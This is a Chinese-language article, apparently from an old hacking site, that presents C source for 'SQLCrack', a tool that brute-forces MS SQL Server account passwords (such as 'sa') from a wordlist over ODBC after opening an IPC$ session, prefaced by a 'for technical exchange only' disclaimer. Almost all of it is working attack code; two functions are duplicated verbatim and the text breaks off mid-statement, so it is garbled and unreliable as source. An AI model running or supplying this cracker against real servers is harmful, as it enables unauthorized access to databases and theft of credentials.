此程序只作技术交流之用,如用于不法用途,作者不负任何责任!!
这篇文章的重点是如何探测MS SQL SERVER账号的密码,下面以一个实例来说明探测密码的全过程。
//程序所用到的头文件
//定义全局变量
char dict[20000][40],//准备探测的密码
UserName[40],//用户名
target[40],//目标服务器
passwd[40];//已经探测出来的正确密码
int total=0;//字典里面单词数量
BOOL Cracked=FALSE;//探测密码成功时此值为TRUE
//
//函数:usage
//功能:显示程序帮助信息
//
void usage()
{
printf("\nPower by analyzer〈
[email protected]〉"
"\nhttp://www.infocn.com"
"\nUsage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉"
"\nExample:SQLCrack 192.168.0.1 sa c:\\pwd.dic 50\n");
return;
}
//
//函数:ReadDic
//功能:从字典文件里面读取数据,传递给全局变量dict,准备探测密码
//说明:函数运行失败返回值1,成功返回0
//
int ReadDic(char *dic)
{
FILE *fp;
char tmp[40];
//打开字典文件
if((fp=fopen(dic,"r"))==NULL)
{
printf("\nCan't open %s",dic);
return 1;
}
while(!feof(fp))
{
//读取数据到临时变量
if(fgets(tmp,40,fp)==NULL)
break;
//这里别忘了把从文件里面读出来的最后一位数据[换行符号]去掉,不然就探测不出来密码了
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
//因为dict定义为dict[20000][40],所以这里如果字典里面的单词超出20000就退出循环
//不然就会溢出啦.可以自行调准
if(total〉=20000)
break;
}
fclose(fp);
return 0;
}
//
//函数:ConnIPC
//功能:建立IPC连接
//说明:连接失败返回值1,成功返回值0
//
int ConnIPC(char *RemoteName)
{
NETRESOURCE nr;
DWORD flags=CONNECT_UPDATE_PROFILE;
TCHAR RN[30]="\\\\",
LN[5]="";
strcat(RN,RemoteName);
strcat(RN,"\\ipc$");
//填充数据结构
nr.dwType=RESOURCETYPE_DISK;
nr.lpLocalName=(LPTSTR)&LN;
nr.lpRemoteName=(LPTSTR)&RN;
nr.lpProvider=NULL;
if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
//
//函数:DelIPC
//功能:断开IPC Session
//说明:成功返回值0,否则返回1
//
int DelIPC(char *RemoteName)
{
DWORD ret;
TCHAR lpName[30]="\\\\";
strcat(lpName,RemoteName);
strcat(lpName,"\\ipc$");
ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
if(ret==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
//
//函数SQLCheck
//功能:尝试用不同密码连接SQL Server,探测出正确的密码
//
DWORD WINAPI SQLCheck(PVOID pPwd)
{
//定义局部变量
char szBuffer[1025];
char *pwd;
SWORD swStrLen;
SQLHDBC hdbc;
SQLHANDLE henv;
SQLRETURN retcode;//ODBC API运行返回值
SCHAR ConnStr[200];//连接数据库字符串
//取得传递过来准备探测的密码
pwd=(char *)pPwd;
//构造连接数据库字符
strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");
strcat(ConnStr,target);
strcat(ConnStr,";UID=");
strcat(ConnStr,UserName);
strcat(ConnStr,";PWD=");
strcat(ConnStr,pwd);
strcat(ConnStr,";DATABASE=master");
//puts(ConnStr);
//创建数据库应用的环境句柄
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
{
printf("\nAllocate environment handle failed.\n");
return 0;
}
//printf("henv..");
//设置ODBC版本环境
if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("\nSet the ODBC version environment attribute failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
return 0;
}
//printf("ODBC ver..");
//创建连接句柄
if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("\nAllocate connection handle failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
return 0;
}
//printf("hdbc..");
//连接数据源
retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
szBuffer,sizeof(szBuffer),&swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
//printf("conn..");
if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
{
//连接失败,函数终止
//printf("\nCouldn't connect to %s MSSQL server.\n",target);
SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
SQLFreeHandle(SQL_HANDLE_ENV, henv);
return 0;
}
//连接远程MSSQL Server数据库成功
Cracked=TRUE;
strcpy(passwd,pwd);
//puts(szBuffer);
//显示连接远程数据库的字符串
//断开连接
SQLDisconnect(hdbc);
//printf("disconn..");
//释放连接句柄
SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
//printf("free hdbc..");
//释放环境句柄
SQLFreeHandle(SQL_HANDLE_ENV, henv);
//printf("free henv..\n");
return 0;
}
//
//函数:DelIPC
//功能:断开IPC Session
//说明:成功返回值0,否则返回1
//
int DelIPC(char *RemoteName)
{
DWORD ret;
TCHAR lpName[30]="\\\\";
strcat(lpName,RemoteName);
strcat(lpName,"\\ipc$");
ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
if(ret==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
//
//函数SQLCheck
//功能:尝试用不同密码连接SQL Server,探测出正确的密码
//
DWORD WINAPI SQLCheck(PVOID pPwd)
{
//定义局部变量
char szBuffer[1025];
char *pwd;
SWORD swStrLen;
SQLHDBC hdbc;
SQLHANDLE henv;
SQLRETURN retcode;//ODBC API运行返回值
SCHAR ConnStr[200];//连接数据库字符串
//取得传递过来准备探测的密码
pwd=(char *)pPwd;
//构造连接数据库字符
strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");
strcat(ConnStr,target);
strcat(ConnStr,";UID=");
strcat(ConnStr,UserName);
strcat(ConnStr,";PWD=");
strcat(ConnStr,pwd);
strcat(ConnStr,";DATABASE=master");
//puts(ConnStr);
//创建数据库应用的环境句柄
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
{
printf("\nAllocate environment handle failed.\n");
return 0;
}
//printf("henv..");
//设置ODBC版本环境
if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("\nSet the ODBC version environment attribute failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
return 0;
}
//printf("ODBC ver..");
//创建连接句柄
if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("\nAllocate connection handle failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
return 0;
}
//printf("hdbc..");
//连接数据源
retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
szBuffer,sizeof(szBuffer),&